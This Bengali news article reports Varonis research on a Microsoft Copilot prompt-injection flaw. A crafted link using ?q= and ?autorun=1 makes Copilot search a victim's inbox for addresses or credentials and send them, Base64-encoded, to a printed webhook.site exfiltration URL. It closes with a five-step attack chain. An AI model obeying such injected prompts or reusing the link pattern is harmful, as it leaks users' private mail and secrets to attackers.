প্রযুক্তিবিষয়ক সংবাদমাধ্যম Ars Technica গতকাল (১৮ আগস্ট) একটি ব্লগ পোস্ট প্রকাশ করে জানায়, মাইক্রোসফট Copilot-এ একটি নিরাপত্তা দুর্বলতা রয়েছে। ?autorun=1 প্যারামিটার এবং ?q= ব্যবহার করে ব্যবহারকারীর অনুমোদন এড়িয়ে তার তথ্য চুরি করা যায়।
IT之家 ব্লগ পোস্টটির বরাত দিয়ে জানায়, নিরাপত্তা প্রতিষ্ঠান Varonis-এর গবেষকেরা উল্লেখ করেছেন, অধিকাংশ AI সহকারীর মতো Copilot-ও URL-এর মাধ্যমে প্রম্পট গ্রহণ করতে পারে। URL-এর মূল অংশ মডেলকে Gmail-এর মতো অ্যাপ খুলতে দিতে পারে, আর পরবর্তী প্যারামিটার ও টেক্সট সহকারীকে ইনবক্সের বিষয়বস্তু সংক্ষেপ করতে বা ই-মেইলের খসড়া তৈরি করতে নির্দেশ দিতে পারে।
গবেষকেরা Copilot-এ ?autorun=1 প্যারামিটার খুঁজে পান, যা ?q=–এর সঙ্গে ব্যবহার করে ব্যবহারকারীর অনুমোদন এড়ানো যায়। তাঁরা নিম্নলিখিত লিংকটি তৈরি করেন:
https://copilot.microsoft.com/?q=&autorun=1ব্যবহারকারী আক্রমণকারীর তৈরি লিংকে ক্লিক করলে, ব্রাউজার ব্যবহারকারীর লগইন করা সেশনে Copilot লোড করে। এর মধ্যে ?autorun=1 স্বয়ংক্রিয় সম্পাদন শুরু করে, আর ?q=–এর প্রম্পট ব্যবহারকারীর কোনো পদক্ষেপ ছাড়াই চলতে পারে।
গবেষকেরা এমন একটি প্রম্পট তৈরি করেন, যা Copilot-কে ইনবক্সে অনুসন্ধান করে সর্বশেষ পাওয়া ই-মেইল খুঁজে বের করতে, শুধু প্রেরকের ই-মেইল ঠিকানা সংগ্রহ করতে এবং ফলাফল SUPPORT নামের একটি ভেরিয়েবলে সংরক্ষণ করতে বলে। এরপর Copilot নিচের URL তৈরি করে এবং “URL সংক্ষেপ করুন” কমান্ডটি কার্যকর করে:
https://webhook.site/75aabb18-9bcf-4383-9e29-349fbc4c40e8/SUPPORTআক্রমণকারীরা ই-মেইল, চ্যাট বার্তা, ফিশিং পেজ বা QR কোডের মাধ্যমে ক্ষতিকর লিংকটি ভুক্তভোগীর কাছে পাঠাতে পারে। ব্যবহারকারী ক্লিক করলে সংবেদনশীল তথ্য অন্য একটি URL-এর সঙ্গে যুক্ত হয় এবং Copilot স্বয়ংক্রিয়ভাবে ডিভাইসে সেই ঠিকানাটি খুলে দেয়। পেজটি আক্রমণকারীর নিয়ন্ত্রণাধীন ওয়েবসাইটে হোস্ট করা থাকায় শেষ পর্যন্ত তথ্য আক্রমণকারীর কাছে চলে যায়।
গবেষকেরা আরও একটি প্রম্পট তৈরি করেন, যা Copilot-কে ইনবক্সে পাসওয়ার্ড ও অন্যান্য পরিচয়পত্র অনুসন্ধান করতে বলে। কোনো গোপন তথ্য পাওয়া গেলে সহকারী সেগুলো একই ধরনের আক্রমণকারীর নিয়ন্ত্রণাধীন সার্ভারে পাঠিয়ে দেয়। তথ্য চুরি আড়াল করতে এবং স্থানান্তরজনিত ত্রুটি কমাতে, বাইরে পাঠানোর আগে তথ্যকে Base64-এ রূপান্তর করা হয় (এটি বাইনারি ডেটাকে টেক্সটে এনকোড করার একটি ফরম্যাট)।
Varonis যে আক্রমণ-শৃঙ্খলটি উল্লেখ করেছে, তাতে ৫টি ধাপ রয়েছে:
1. ভুক্তভোগী আক্রমণকারীর যত্নসহকারে তৈরি করা URL-এ ক্লিক করেন (ই-মেইল, চ্যাট, ফিশিং পেজ, QR কোড ইত্যাদির মাধ্যমে এটি ছড়ানো হয়)
2. ব্রাউজার ভুক্তভোগীর সক্রিয় ও পরিচয় যাচাইকৃত সেশনে copilot.microsoft.com লোড করে।
3. ?autorun=1 প্যারামিটার স্বয়ংক্রিয় সম্পাদন শুরু করে এবং ?q= প্রম্পট কোনো ব্যবহারকারীর পদক্ষেপ ছাড়াই সক্রিয় হয়।
4. Copilot ইনজেক্ট করা প্রম্পট প্রক্রিয়া করে এবং ভুক্তভোগীর সেশনের প্রসঙ্গ, সংযুক্ত অ্যাপ ও মেমরিতে পূর্ণ প্রবেশাধিকার পায়।
5. লোড সম্পন্ন হওয়ার পরপরই Copilot-এর ট্যাব বন্ধ করলেও প্রম্পট সম্পূর্ণভাবে কার্যকর হয়, যার মধ্যে যেকোনো নেটওয়ার্ক অনুরোধ, কানেক্টর কল বা একাধিক ধাপের চেইন অপারেশন অন্তর্ভুক্ত থাকে।